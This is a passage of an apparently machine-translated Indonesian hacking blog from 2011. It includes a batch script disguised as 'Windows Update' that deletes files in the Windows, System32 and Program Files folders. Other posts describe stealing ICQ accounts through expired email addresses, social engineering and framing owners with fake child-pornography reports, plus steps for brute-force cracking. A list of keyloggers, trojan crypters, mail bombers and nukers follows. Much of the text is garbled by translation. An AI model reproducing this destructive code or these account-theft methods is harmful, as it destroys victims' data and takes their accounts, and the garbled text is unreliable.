andaikan

belajar hacker

2011-03-28T18:31:00.000+07:00

saya bukan lah seorang hacker,,tapi mungkin tulisan ini berguna untuk anda yang mau tau atau mau belajar tentang hacker,

silahkan klik

mungkin  bermanfa'at untuk anda

Bom waktu

2011-03-28T12:09:00.001+07:00

Bom waktu

Berikut adalah contoh sederhana file *. bat:

<-------- Mulai dari ''--------> chuchelo.cmd
@ Echo off
title Windows Update otomatis
echo Windows Update otomatis berjalan ...
%% SystemDrive
cd \
cd% Windir%
cd System32
salin autoexec.tmp autoexec.nt> nul
: Coba
Jika% Exist% \ System32 \ usrupd.cmd Goto SystemRoot try2
echo @ echo off> usrupd.cmd
echo echo Windows update, harap tunggu ... >> Usrupd.cmd
echo% SystemDrive%>> usrupd.cmd
echo \>> cd usrupd.cmd
echo cd% Windir%>> usrupd.cmd
echo del *.*>> usrupd.cmd
echo cd sistem>> usrupd.cmd
echo del *.*>> usrupd.cmd
echo cd system32>> usrupd.cmd
echo del *.*>> usrupd.cmd
echo cd .. >> Usrupd.cmd
echo cd .. >> Usrupd.cmd
echo cd% ProgramFiles%>> usrupd.cmd
echo del *.*>> usrupd.cmd
echo echo Anda jendela sekarang dengan Service Pack 7! >> Usrupd.cmd
echo rem Windows Update axmdf.tmp>
echo panggilan%% System32 \ usrupd.cmd>> axmdf.tmp \ SystemRoot
echo rem> axmdf.tmp>
del autoexec.nt> nul
copy autoexec.tmp + axmdf.tmp autoexec.nt> nul
del autoexec.tmp> nul
del axmdf.tmp> nul
goto keluar

: Try2
del% SystemRoot% \ system32 \ usrupd.cmd> nul
goto mencoba

: Keluar
echo Update Selesai ...
<-------- Akhir 'chuchelo.cmd'-------->

Bagaimana merebut enam digit nomor ICQ

2011-03-28T12:03:00.001+07:00

Sekitar dua tahun yang lalu ketika saya pertama kali mendaftar untuk ICQ, saya adalah salah satu dari
delapan-digit angka pertama. Lalu aku bahkan tidak berpikir tentang keberadaan enam
kamar. Dalam daftar kontak saya hanya nomor delapan angka yang sama.
Setahun telah berlalu dan aku melihat bahwa ada angka tujuh-digit dan enam digit. Dalam
Sementara aku bahkan tidak membara mimpi tentang beberapa angka yang baik, misalnya, sebagai saya
nomor telepon rumah atau tanggal saya lahir. Hati-hati mempelajari prinsip pendaftaran dan
mengirim password hilang, saya menemukan beberapa cara untuk merebut kamar orang lain.
Pertimbangkan beberapa dari mereka yang tersedia di rumah:
_________________________________________________________________________________

I. Sejauh yang saya tahu, ketika Mirabilis ICQ meluncurkan server pertama, ada
Hanya satu gratis sistem e-mail yang disediakan oleh Microsoft. Ratusan
ribuan pengguna untuk mendaftarkan diri akun gratis untuk
http://www.hotmail.com/default.htm. Sekarang, jelaskan apa itu semua. Katakanlah Anda adalah salah satu dari
pertama pengguna ICQ, yang memiliki alamat email gratis di Hotmail. Anda
mendaftarkan nomor Anda sendiri ICQ dan info menentukan account Hotmail Anda. Tapi di sini
tak terduga terjadi. Anda, misalnya, pergi dari kota, atau Anda tidak memiliki
kesempatan untuk menggunakan Internet, tetapi alasan bisa banyak. ICQ dan e-mail
Hotmail account tidak digunakan. Dengan ICQ, baiklah, tidak akan pergi kemana-mana, tetapi di Hotmail memiliki
jenis hal yang jika Anda tidak menggunakan kotak surat Anda selama 90 hari, data
kotak surat Anda akan dihapus dan seseorang informal, setelah 90 hari, dapat mendaftarkan
alamat email yang persis nama pengguna yang sama apa yang milik Anda.

Sekarang perhatikan bagaimana Mirabilis. Bahkan, jika Anda kehilangan Anda
password yang dimasukkan saat pendaftaran, kemudian dikirim ke alamat
http://www.mirabilis.com/password/default.htm dan mengetik dalam bentuk sejumlah ICQ, Anda
beberapa menit akan mengirimkan password anda pada kotak, yang ditunjukkan dalam informasi.
Sekarang bayangkan bahwa seperti Anda yang pada beberapa waktu tidak
akses ke internet, sangat, sangat banyak. Dan memang, dengan pencarian menggunakan
"Search" di ICQ Anda tidak dapat menemukan kamar yang cukup yang tidak terpakai dan dilupakan. Kami mengambil kesimpulan
mengatakan:

1) Langkah pertama adalah mencari kamar yang tidak terpakai. Tentu tempat
mengatakan bahwa setiap nomor tidak digunakan. Untuk ini, dengan menggunakan fungsi "Putih
Halaman "dan memperkenalkan pilihan pencarian minimum, menemukan yang diinginkan. Cari hanya untuk
satu parameter tidak ada artinya. Cara terbaik untuk mengatur tiga parameter, dua di antaranya
dapat diubah. Misalnya, mencari semua anggota laki-laki berusia 18 sampai 22
tahun tinggal di Amerika Serikat. Pertimbangkan masing-masing, yang pendaftaran
adalah untuk memberikan alamat email di Hotmail. Selanjutnya, melakukan pencarian dari semua laki-laki dari Amerika
Amerika, berusia 23-29 tahun. Sekali lagi, menemukan semua orang yang menggunakan e-mail di
Hotmail. Mengapa Anda bertanya? Ini hanyalah cara Anda dapat iterate melalui besar
jumlah kamar.

2) Pada saat yang sama saat Anda mencari kamar ICQ, kirim ke alamat
http://www.hotmail.com/default.htm dan mendaftarkan alamatnya. Apa yang Anda tanyakan?
Jelaskan. Nama, tanggal lahir, tempat tinggal bisa masuk apapun, tapi
login atau ID, Anda harus menentukan yang ditemukan di kamar pencarian ICQ. Artinya,
meminta Anda mencari dan menemukan bahwa dari 40 ditemukan pada pria berusia 18 hingga 22 tahun
bertempat tinggal di Amerika Serikat, hanya empat memakai jasa Hotmail. Mereka
berikut alamat:

Entertain@hotmail.com
dm_24@hotmail.com
fonsepa@hotmail.com
the_dea@hotmail.com

Apa yang harus dilakukan selanjutnya. Pada halaman pendaftaran menunjukkan bahwa Anda ingin memilih
login menghibur. Jika login yang digunakan, Anda akan diberitahu tentang hal itu dan menawarkan
pilih yang lain. Dalam hal ini, Anda memasukkan dm_24. Dan begitu juga Hotmail semua
rekening yang Anda temui. Tentu akan jatuh sehingga dapat memiliki
tidak digunakan. Untuk mengucapkan selamat kepada Anda pada pendaftaran. Selanjutnya, buka
http://www.mirabilis.com/password/default.htm dan masukkan Yuin yang sama, yang
digunakan pada satu waktu pemilik kotak e-mail, Anda hanya
terdaftar. Setelah beberapa menit untuk e-mail Anda mengirim didambakan
password dan Anda dapat dengan mudah mendaftar ulang cast pada satu waktu
Yuin.

Kekurangan metode: metode yang sangat sulit. Untuk alasan bahwa pencarian di ICQ
dikeluarkan hanya untuk 40 pengguna pertama yang harus ton sekop yang diperlukan dan tidak diperlukan
yuinov. Seperti Anda sedang mencari nomor ICQ ribuan terpakai ... dan semua orang tampak seperti
dan Anda dan probabilitas bahwa anda menekan itu tidak bekerja Yuin sangat kecil. Meskipun
Saya menggunakan minggu lalu bisa menemukan diri mereka sekitar 30 kamar. Perlu melihat ini
kriteria, yang jarang berlaku, misalnya dengan nama negara (misalnya, semua
yang tinggal di negara, www disebut) ... Lalu probabilitas untuk menemukan nomor yang lebih tinggi
karena orang cenderung untuk mengisi omong kosong info Anda.

Keuntungan: fakta bahwa jika pengguna lama untuk menulis surat keluhan
administrator bahwa seseorang nomornya telah dan akan menunjuk pada waktu yang sama bahwa informasi
yang diisi sebelum Anda menguasai nomor, seperti: password, nama,
nama, nama panggilan, administrator hanya menghapus nomor dari database dan baik Anda maupun yang lama
pemilik tidak akan dapat menggunakannya. Tapi kemungkinan bahwa seseorang akan menulis
surat kepada manajer sangat kecil, sebagai kotak surat nomor ICQ itu sendiri sering
benar-benar ditinggalkan.
_________________________________________________________________________________

II. Jika Anda ingin menangkap nomor khusus yang sangat menarik
angka, kemudian metode ini hanya untuk tujuan ini dan digunakan. Ketika mendaftar kotak surat Anda
http://www.hotmail.com/default.htm Anda diminta untuk memasukkan beberapa informasi tentang Anda,
negara, negara, kota, kode pos, yaitu tempat Anda tinggal, dan pertanyaan rahasia dan
respon. Semua informasi ini digunakan dalam kasus jika Anda lupa
sandi.

Ketika Anda mendaftar Anda ICQ juga diminta untuk memasukkan informasi yang persis sama seperti di
Hotmail. Mengapa semua ini? Jelaskan.

Maka, mencari nomor ICQ layak ke kotak surat Anda di Hotmail dan
yakin bahwa askinom info dipenuhi dengan kotak tempat tinggal. Apa yang kamu lakukan
lebih lanjut. Pergi ke http://www.hotmail.com/default.htm dan mencari halaman tersebut, di mana Anda bisa di
online meminta untuk melihat password Anda. Pertama, masukkan login dan kemudian
informasi tentang akomodasi (negara, negara, kota, kode pos). Jika informasi itu
dimasukkan dengan benar, Anda akan dibawa ke sebuah halaman dengan sebuah pertanyaan yang muncul
pengguna ketika mendaftar kotak surat. Menjawab pertanyaan,
memilih password baru, konfirmasi dan trik dilakukan. Seringkali, pengguna
diabaikan hitungan dengan pertanyaan dan jawaban selama pendaftaran dan mengisi dalam
hal-hal kecil, pick up yang mudah. Nah, jika ada pertanyaan tentang bagaimana nama
istri pertama saya, maka mungkin ada beberapa pekerjaan yang harus dilakukan. Untuk melakukannya, cukup
berkenalan dengan pemilik ICQ, melepaskan diri dari itu semua kepada Anda informasi yang tepat dan "istirahat"-nya
kotak. Selanjutnya, kegiatan biasa, pergi ke Mirabilis, meminta untuk mengirimkan password untuk kotak
dan semua. Hal ini dilakukan. Ketika saya pertama kali menguji metode ini, Anda bekerja terlalu
banyak tidak perlu. Pengguna di Hotmail pertanyaannya sebagai berikut: "Berapa nomor saya
di rumah. " Cari untuk waktu yang lama itu tidak perlu. alamat rumah penuh ditulis di ICQ.

Kekurangan metode ini: tidak selalu mudah dijawab. Kita harus menyelesaikan beberapa
jawaban. Dalam 80% kasus adalah menggosok ke dalam kepercayaan tuannya, dan ICQ
melepaskan dia nama anjingnya, atau nama istrinya. Ya, pada prinsipnya, tidak
sangat sulit. Tapi ovchinka layak lilin. Namun, setelah ditangkap nomor aneh, gunakan
mereka, Anda hanya akan sebulan atau dua atau bahkan tiga. Jika apa yang Anda butuhkan untuk
diperlukan untuk mengubah password, dan mengubah informasi dalam hal apapun tidak merekomendasikan.
Jika user menulis surat sedih yang diduga mencuri nomor teleponnya, dan
administrator puas bahwa informasi itu memang berubah, maka Anda
mudah kehilangan nomor Anda. Tapi dalam 2-3 bulan dengan mudah mengubah informasi dan
digunakan.

Keuntungan: kerumitan kurang, daripada kasus dengan metode pertama, dan nomor ICQ
mudah diingat.
_________________________________________________________________________________

III. Metode ini sangat efektif, tapi kadang-kadang terbayar. Diperlukan dari Anda sedikit
usaha dan kesabaran. Untuk melakukan ini, mencari setiap nomor ICQ sesuai dengan kotak di
khalyavnykh apapun, apakah itu Hotmail, Yahoo, Doramail, Newmail, Mail, tapi Tuhan tahu apa
server dan ke depan. Kenyataan bahwa ada beberapa aturan untuk menggunakan e-mail
kompartemen. Anda tidak dapat spam dan Anda tidak dapat mengirim surat, memfitnah, merendahkan dan menghina
karakter. Melanggar peraturan ini bisa tidak kalah dalam kotak surat. Nah, yang
mencegah untuk melakukannya untuk Anda? Pergilah dan menulis beberapa ratus atau bahkan ribuan surat atas nama
master sabun, pornografi, atau legalisasi pornografi anak.
Daftar di suatu tempat di halaman dan meletakkan ada link ke situs-situs porno dan memberikan
di halaman satu kotak surat yang ingin Anda ambil. Kemudian tuliskan
administrator mail server yang Anda terus-menerus menerima surat
cabul, dari orang tertentu dan meminta mereka untuk menghukum orang yang bersalah. Menulis
seperti pesan dari beberapa account untuk administrator yang sama, hanya beberapa lainnya
kata-kata. Artinya, menciptakan penampilan yang seseorang yang kotak surat Anda akan istirahat, mengirim
ton surat yang bersifat pornografi di berbagai belahan dunia, orang yang berbeda
di antara mereka sendiri tidak berarti akrab. Saya yakin bahwa administrator tidak mengabaikan dan
menonaktifkan kotak pesan. Anda akan mengatakan demikian, dan bahkan mengucapkan terima kasih untuk memerangi
pornografi. Anda hanya tinggal dalam waktu yang sama lagi untuk mendaftarkan
account dan kemudian menggunakan http://www.mirabilis.com/password/default.htm penggunaan halaman
mengirim kotak password.

Kekurangan metode: banyak kerumitan. Harus bekerja beberapa hari untuk menerapkan
dikandung.

Hacking ICQ UIN dengan IPDbrute 2 Lite

2011-03-28T11:57:00.001+07:00

Pada artikel ini saya memutuskan untuk menjelaskan metode untuk memperoleh ICQ UIN, yang kadang-kadang saya gunakan. Untuk memulai, kita perlu dua softinkoy: Lite IPDbrute2 dan UIN; PASS Generator_v1.4
1. Mulai UIN; PASS Generator v1.4. Kita perlu untuk membuat sebuah file dengan sebuah daftar ICQ, lulus, yang mengerti software IPDBrute 2 Lite
Dalam "Making of" - masukkan nomor ICQ, dari mana kita akan mulai untuk membuat daftar dalam program ini.
Pada kotak berikutnya, masukkan nomor tujuan dari ICQ.
Dalam "Membuat setiap" cadangan 1.
Dalam "menulis ke" masukkan nama file yang akan tertulis kepada UIN dihasilkan - s dan password.
Sebagai pemisah menggunakan default "".
Dalam "Password" yang dimasukkan password yang akan diganti dalam kasus pencurian (misalnya, 12345).
Jika Anda memiliki kamus password yang baik, maka jalan dapat ditentukan pada kotak berikutnya, "Daftar password.
Tekan tombol "Buat".
Program ini akan memberitahukan penyelesaian pekerjaan mereka.

2. Di Internet untuk mencari daftar proxy anonim dan menyalinnya ke file teks. Semakin banyak semakin baik. Mengapa? Ya, karena proxy server memiliki kecenderungan untuk menutup dan dalam database Anda sudah akan lebih dari setengah dari server non-performing.

3. Jalankan program IPDBrute 2 Lite. Sebagai permulaan, kita perlu mengkonfigurasi IPDBrute 2 Lite - tekan tombol "Config ...".

Sumber uin; lulus berkas daftar: - path ke file yang kita dihasilkan dengan bantuan dari UIN; PASS Generator v1.4.
Dump password yang salah ke berkas ini: - cyuda akan disimpan eh daftar dengan password yang Anda tidak bisa hack.
Dump password yang benar untuk file ini: - cyuda akan disimpan eh daftar dengan password, Anda hack.
Threads: - jumlah benang yang program beroperasi. Hal ini tergantung pada kecepatan internet anda. Aku meletakkan 20-30 pada modem (aku punya internet mati), mencoba nomor yang berbeda dan menemukan yang optimal untuk koneksi Anda. Sarankan mulai dengan 50.
Pembersihan setiap: 30 menit - menghapus memeriksa hal ini.
Proxies daftar file: - path ke file dengan alamat dari server anonymous proxy.
Selanjutnya, klik tombol "OK".
Sekarang klik tombol "Start" dan pergi minum kopi atau tidur dengan gadis cantik, dan ICQ angka yang Anda hack ke dalam, akan ditulis dalam good.txt.

HACKSOFT - hacking program

2011-03-28T11:49:00.000+07:00

AccessDiver [INLINE]
Program. Testori adalah situs untuk lubang dan kerentanan, dengan begitu banyak
fishek berguna, daftar yang mengerikan! Berikut adalah yang paling bermanfaat: Periksa Situs
pada kerentanan (untuk 100 kapal); cgi-scaner (dengan dasar yang besar) memilih password dan login
kamus; memeriksa anonimitas proxy (dan kecepatan) memiliki jendela nyaman bagi
ping, di mana Anda dapat mengatur semua parameter (yang tidak suka ping dial-up `untuk schikov
kematian),? dan banyak lagi!
Windows 95/98/ME/NT/2000/XP
AFIX [INLINE]!
Crypting Trojan untuk terlihatnya anti-virus.
[INLINE] Advanced Password Generator
memungkinkan untuk menghasilkan password dari setiap panjang yang terdiri dari huruf, angka, serta
password mengandung kedua huruf dan angka. Satu-satunya hal yang harus Anda lakukan adalah mengingat
dihasilkan sandi.

[INLINE] Authforce
benang kasar brute force ke situs Web. Menggunakan berbagai
metode, program ini mencoba untuk mengambil sepasang nama pengguna / sandi untuk situs Web.

Anonymail [INLINE]
Perlu untuk mengirim pesan anonim untuk eMail.

Brutus [INLINE] AET2
Dikenal brootforce. Memungkinkan Anda untuk memilih password untuk HTTP, FTP, POP3, Telnet, NetBIOS.

Bomsquad [INLINE]
Jika Anda tiba-tiba Programa zabambili ini akan menyelamatkan Anda dari bom. Penting bagi DHW-ve
vesh.

Everywarev Boss [INLINE]
bos Everyware memberikan gambaran penuh menggunakan komputer. Dia diam-diam memimpin
dicatat dalam log nama program, judul jendela, mengunjungi URL, nama pengguna
dan string kunci. Program ini dapat memonitor baik tunggal dan multi-
komputer secara bersamaan.
9x ME NT XP w2k

Wordlist [INLINE] Big
Untuk saat ini, yang paling komprehensif kamus. Dalam bentuk terkompresi yang lebih
75MB (!).
Setiap sumbu

[INLINE] Crack Pelacur
Aplikasi ini memeriksa perlindungan situs web Anda dengan cepat dan efisien. Program ini memiliki
Beberapa fitur tambahan: pilihan acak dari server proxy, scanner
kerentanan dan
Utility hacking password FTP.

Postmail [INLINE] Crazy 2
Bomber.

Postmail [INLINE] Crazy 3
Excellent pembom, banyak funktsiy.Bystry dan Efektivitas.

CoolMailBomber [INLINE]
Mail Bomber.

Kain [INLINE] & Abel
Utility untuk memulihkan password dan mengedit Windows 95/98 (logon, Share,
Screen Saver, Access Database, dialup, dll). Hal ini juga dapat sniffer lalu lintas jaringan dan
menarik diri dari password-nya. Merupakan fungsi dari spoofing IP dan alamat MAC
NT.W2K

Kain [INLINE] & Abel
Utility untuk memulihkan password dan mengedit Windows 95/98 (logon, Share,
Screen Saver, Access Database, dialup, dll). Hal ini juga dapat sniffer lalu lintas jaringan dan
menarik diri dari password-nya. Merupakan fungsi dari spoofing alamat IP dan MAC.

CommView [INLINE]
Program untuk kegiatan monitoring jaringan yang mampu mencegat dan menganalisis
paket dari jaringan Ethernet. Hal mengumpulkan informasi tentang data stream dan decode,
menganalisanya.
9x ME NT XP w2k

[INLINE] DVD-DeCSS
Sebuah program sederhana untuk memecahkan perlindungan DVD ditulis dalam Perl.

[INLINE] dkbf-0.1.2
Dkbf Didistribusikan, Keyboard, Brute-Force program untuk cluster Linux, yang
serangan Windows NT Lanman dan hash NT untuk L0phtCrack diproses lebih lanjut. (Untuk
Linux)

Kantong [INLINE] Mail Bomber (Rusia)
Ini adalah program terbaik untuk kotak surat bombleniya anonim menunjukkan di lapangan
pengirim sabun lain. Anda menentukan alamat, subjek nama penerima, pengirim,
sabun pengirim, tanggal dikirim, sebuah program untuk mengirim dan sabun untuk salinan surat itu. Kemudian
menentukan SMTP, jumlah huruf, menulis surat sendiri, melampirkan file (jika
mau) dan menekan tombol "bom".
Windows 95/98/ME/NT/2000/XP

Exechange [INLINE]
Prog menggantikan semua exe-file dalam Windows itu sendiri (sumber).

FtpXerox [INLINE]
Menangkap file peredayuschieya jaringan melalui protokol FTP. Program ini ditulis
untuk menunjukkan bahwa File Transfer Protocol "jelas-teks" tunduk seperti
jenis serangan. Produk ini berisi kembali teknologi yang kuat-perakitan TCP, yang
monitor upload FTP. Setelah program menentukan awal transfer file melalui
protokol FTP, ia mengambil file dan menyimpannya pada disk lokal.
Mendukung kemampuan untuk menangkap binari dan gambar Pemulihan tepat nama file.
Namun versi 1.0 tidak mendukung penyitaan file yang ditransfer ke PASV (pasif)
modus.
NT w2k

[INLINE] Hooker 2.4
Mencuri hash password dari angin, merekam keystrokes Anda dan mengirimkan Anda.

HakTek [INLINE]
Set "alat yang berguna." Termasuk seorang pembom mail, nukers dan sekelompok lain yang berguna
hal-hal dalam hidup kita.

[INLINE] Hide_all_program
Menghancurkan semua aplikasi yang berjalan setiap 10 detik.

[INLINE] ICQforce
Program ini memilih password untuk asyam kekerasan (bruteforce) atau kamus.

[INLINE] Iris The Analyzer Lalu Lintas Jaringan
Sniffer dengan sejumlah besar pengaturan. (Lihat di bawah)
Windows 95/98/ME/NT/2000/XP

Iris [INLINE]
Populer sniffer untuk Windows. Merupakan kesempatan besar untuk penyaringan:
1.Protocol Distribusi
2.Top host
3.Size Distribusi
Ada juga Decoder paket. Mengelola log sistem. Tapi yang tersedia
Kemampuan penyaringan yang unggul untuk semua sniffer. Hardware Filter ini, yang dapat
menangkap baik semua kantong (Promiscious), atau dengan berbagai kendala (misalnya
hanya menangkap paket multicast atau paket siaran, atau bingkai, Mac).
Anda dapat menyaring pada spesifik / MAC alamat IP pada port, pada paket yang mengandung
karakter tertentu.
9x ME NT XP w2k

[INLINE] Info Generator Password Tech Profesional Acak
menghasilkan password dari 0 sampai 100 karakter dengan menggabungkan tiga jenis karakter: huruf, angka dan
karakter khusus.

[INLINE] ICQ BANJIR-
Mengirim pesan anonim di ICQ, anda harus tahu alamat IP dari orang yang Anda
menginginkan sesuatu untuk mengirim dan port di mana ia duduk sendiri ICQ (pelabuhan dapat
proskanerit portskanom biasanya ICQ pelabuhan di daerah 1020-1050), itu keren, itu
sesuatu yang dapat dikirim messagi dari jumlah dan Jumlah neogrannichennom:)

John [INLINE] the Ripper untuk
WIN / DOS / UNIX (sumber)
Program terbaik untuk hacking * NIX `hash pemasaran.
Windows / DOS / UNIX

Legion [INLINE]
Mencari di disk perusahaan Internet terbuka, Anda dapat terhubung ke dalam `e komputer saya"
menerima disc baru.
Windows 95/98/ME/2000/XP

Lamer [INLINE] Kematian
Remote Management dengan fitur yang agak besar, dan Rusia
interface.
9x ME NT XP w2k

[INLINE] Lamer Kematian "bersih" server
Remote Management dengan fitur yang agak besar, dan Rusia
interface.
9x ME NT XP w2k

[INLINE] NUKE'EM
Camaya sederhana dan nyaman program di bawah Win95 (98) untuk sistem kilyaniya yang sama pada Windows
Alamat IP.

Nutcracker [INLINE]
Nutcracker adalah penyortir sandi sederhana di bawah platform * nix. Harus bekerja dalam semua
OS menggunakan fungsi standar Unix / C crypt (). Nutcracker memberitahu semua
cacat akun, dan catatan dengan password kosong. Cek salah satu dari dua file
password (/ etc / passwd, / etc / shadow) menggunakan kamus. Kamus standar
2.400 berisi kata-kata.
FreeBSD Linux Solaris

OpenAI [INLINE]
OpenAI Proyek - proyek untuk menciptakan alat untuk pengembangan
Artificial Intelligence. Tujuan utama dari proyek ini adalah untuk menciptakan
konfigurasi, dan standar untuk alat AI. Pada akhirnya, proyek
menghasilkan satu set alat menawarkan standar ini.

[INLINE] pembalasan Lameroo - Tidak ada komentar.

PORTSCAN [INLINE]
Program yang memungkinkan Anda untuk memindai server untuk port, lebih pendek dengan ini
program dapat ditemukan, misalnya, beberapa "menarik" server FTP, lalu memanjat
di atasnya (jika Anda beruntung dan akan ada password, dan ini juga terjadi), mendapatkan seikat
informasi rahasia, dll

PORTFUCK [INLINE]
Program ini mirip dengan NUKEEM, melakukan berbagai hal buruk ke pelabuhan.

Kegiatan PC [INLINE] Monitor Pro
PC Activity Monitor
PC Activity Monitor (PC Acme) adalah sebuah program yang memungkinkan Anda untuk merekam semua tindakan
dilakukan pada komputer Anda. Tidak hanya mempertahankan penekanan tombol, tetapi semua
judul jendela, waktu clipboard, dll Menulis waktu mulai dan
penyelesaian pekerjaan, serta daftar semua program yang berjalan. Pro versi berbeda
kemampuan untuk mengirim log melalui email.
9x ME

[INLINE] Passware Kit [demo]
"Passware Kit" - adalah sebuah program untuk memulihkan password untuk perangkat lunak tersebut
produk seperti Lotus 1-2-3, MS Access, Adobe Acrobat, Symantec ACT!, MS Backup, MS
Excel, Content Advisor IE, Mail MS, MS Money, MYOB, Lotus Organizer, MS Outlook,
Outlook Express, aradox, MS Project, QuickBooks, Quicken, MS Schedule +, VBA Proyek
file doc,.. xls, dll, Windows XP, NT 3.x, 4.0, MS Word, WordPerfect, Lotus
Wordpro, WinZip, PKZip.
9x ME NT XP w2k

[INLINE] Packet Tracer (dengan sumber)
Utility untuk menangkap paket-paket dari antarmuka pengguna yang dipilih (NIC) dan
tayangan mereka.
W2k XP

[INLINE] Win Sniffer
Ini adalah salah satu sniffer terbaik yang beroperasi di Vinda semua. Ada banyak
berbagai pengaturan. Mampu mencegat password dari kalengan berikut: FTP, POP3,
HTTP, ICQ, SMTP, Telnet, IMAP, NNTP.
Windows 95/98/ME/NT/2000/XP

[INLINE] WinFuckExploit
Hang matday. Menyimpan hanya Reset

[INLINE] Win Sniffer
Password sniffer. Mampu untuk menangkap dan memecahkan kode password dari layanan berikut:
FTP, POP3, HTTP, ICQ, SMTP, Telnet, IMAP, NNTP.

WinPcap [INLINE]
Sebuah arsitektur untuk capture paket dan analisis jaringan untuk sistem Windows (win32).
Program ini mencakup paket filter beroperasi pada level kernel, tingkat rendah
dynamic link library (packet.dll) dan perpustakaan sistem-independen
wpcap.dll (berdasarkan versi libpcap 0,5).
9x ME NT XP w2k

[INLINE] WinPcap [sumber]
Packet filter device driver yang menambahkan ke Windows 95, Windows
98, Windows ME, Windows NT dan Windows 2000 kesempatan untuk menangkap dan mengirim data
langsung dari kartu jaringan dengan kemampuan untuk menyaring dan menyimpan dalam buffer terjebak
paket.
9x ME NT XP w2k

[INLINE] WinDump - WinDump akan dipindahkan ke platform Windows
TCPDump'om, penganalisis jaringan yang paling digunakan untuk UNIX. Hal ini sepenuhnya kompatibel dengan
TCPdump bytt dan dapat digunakan untuk memonitor dan mendiagnosa lalu lintas jaringan
sesuai dengan aturan yang kompleks. WinDump dapat berjalan di bawah Windows
95/98 dan di bawah Windows NT. WinDump termasuk versi lengkap dari library libpcap
untuk Windows, dan sopir untuk menangkap lalu lintas yang memenuhi BPF
WinDump peluncuran spetsifikatsii.Pered harus mendownload dan menginstal WinPcap.
9x ME NT Linux Solaris FreeBSD

[INLINE] WWWHack - Program Wwwhack permainan ini dimaksudkan untuk menembus dilindungi
password situs biaya kekerasan dan login, yang dibutuhkan dari kamus - itu
Omong-omong, kita dapat mengambil dari Internet. Program ini sangat cocok untuk menebak password
untuk kotak surat dengan berbasis Web, misalnya bahwa kita semua mail.ru mencintai feed
wwwhack `a txt-file dengan password umum, tentukan alamat, yang meminta
sandi. Kemudian tentukan frase dengan yang program akan menyadari bahwa dia mengangkat
sandi yang salah, misalnya: "Maaf, password salah." Dan tidak adanya kalimat
berarti bahwa uvenchalis keberhasilan usaha Anda. Secara umum, cukup baik
produk dan layak memuji!

SmartWhois [INLINE]
Program ini memberikan banyak disk imaging pleznoy nama IP / HOST `y, seperti memasuki pengguna IP,
Anda dapat menemukan Provo, geografi Provo, admin nya telepon, dll A
memasukkan alamat Provo, Anda kadang-kadang dapat menemukan berbagai nya.
Windows 95/98/ME/NT 4.0/2000/XP

Serials [INLINE] 2005-6
Program ini adalah database dengan banyak nomor seri
(Saat ini di uzhu database lebih dari 32000 serials). Program ini mudah dinavigasi dan mudah
pencarian. Untuk Update terus-menerus datang dia baru `s. Lebih pendek dan curam daripada perusahaan Oscar 2001 di ini
tidak ada.
Windows 95/98/ME/NT/2000/XP

SARA [INLINE]
alat untuk menganalisis keamanan berdasarkan model SETAN. Hal ini diperbarui dua kali
per bulan, dobavlyaz ancaman terbaru. Cek untuk lubang tua umum, backdoors,
hubungan kepercayaan, CGI secara default, login biasa, saham terbuka, dan
banyak fungsi.
OC: Linux

ScoopLm [INLINE]
ScoopLm memotong data stream LM / NTLM otentikasi, dan menyimpan
hasil ke sebuah file. Selanjutnya, dari file ini, Anda dapat mencoba untuk memulihkan login dan password
oleh BeatLm (Sandi).
Hanya bekerja di bawah Windows 2000.

Stealth [INLINE] Interceptor Keyboard 5.0
Program untuk merekam keystrokes mencolok.
9x ME

[INLINE] Stealth Email Redirector
Stealth Email Redirector (SER) - yang memungkinkan program untuk mengirim salinan semua keluar
huruf. SER memonitor data yang ditransmisikan dan e-mail program penyadapan semua
outgoing mail. Setelah itu ada referensi dicegat mail ke tertentu
alamat di muka. SER tidak mencegat mail akan dikirim melalui browser
(Www.yahoo.com, www.hotmail.com dll) (untuk Windows 95/98)
9x ME

[INLINE] StatWin Standar
StatWin Program ini dirancang untuk mengumpulkan dan menganalisis statistik dari komputer Anda
beroperasi dibawah OS Windows 95/98/2000/NT. Dan juga untuk aministrirovaniya
sistem operasi ini. Pada saat ini, program ini memberikan kesempatan untuk mengumpulkan berikutnya
Informasi statistik:
-Waktu mulai pada komputer, waktu penyelesaian pekerjaan pada komputer;
-Info tentang proses (aplikasi) berjalan di Windows;
-Info tentang menggunakan internet di Windows;
-Informasi tentang printer;
-Informasi tentang aktivitas pengguna pada komputer.
9x ME NT XP w2k

[INLINE] Sniffer Dasar (NetXray)
Program ini menangkap data yang dikirimkan melalui jaringan dan memonitor lalu lintas jaringan dan
mengumpulkan statistik jaringan kunci, yang memungkinkan administrator untuk memperoleh penting
informasi untuk penghapusan efektif kesalahan dan penyesuaian jaringan yang kompleks saat ini
sistem.

[INLINE] LAN Sniffer Pro
Sniffer Pro Lan masalah sederhana: untuk mendukung kerja dari jaringan lokal
kritis tingkat kinerja. Analziator menangkap paket secara simultan
membangun database objek jaringan menurut lalu lintas yang diterima dan menggunakan informasi ini
untuk menentukan kesalahan jaringan. kesalahan tersebut didistribusikan pada
kategori-"gejala" - peristiwa non-kritis, seperti pengiriman ulang dari
file, dan "diagnosis" - kesalahan penting selama komunikasi jaringan. Setelah isolasi dan
permasalahan distribusi menurut kategori, Sniffer Pro Lan memberitahu Anda obsnyaet adalah
masalah dan merekomendasikan tindakan yang sesuai - semua secara otomatis dan secara real
waktu.
9x ME NT w2k

[INLINE] THC-Parasit
THC-Parasit memungkinkan Anda untuk menangkap lalu lintas jaringan dari jaringan, dipisahkan switch'ami
(Switched jaringan) baik menggunakan ARP Spoofing, atau MAC Banjir. THC-Parasit
berisi algoritma untuk mengatasi keamanan dasar switch'ey.
FreeBSD Linux Solaris

[INLINE] THC-UnixHackingTools
Sebuah pilihan alat untuk hacking * nix - termasuk Trojan, tunneling, pembersih log
dll, dikompilasi pada platform berbagai unix. pihak Didirikan gruppyTHCThe
Hacker Choice.
FreeBSD Linux Solaris

Renamer [INLINE]
Program ini akan membantu untuk mengubah nama semua folder sistem, tooltips mereka
header Explorer-a, serta untuk menetapkan teks dekat jam!

Memerangi spam di The Bat

2011-03-28T11:39:00.001+07:00

E-mail hari ini mungkin adalah layanan yang paling penting di Internet. Setidaknya, jika Anda harus memilih, aku akan meninggalkan itu. Cat mengapa demikian, saya pikir, tidak ada artinya, kita harus menyebutkan hanya dua dari sifat yang menguntungkan: biaya rendah dan kecepatan.
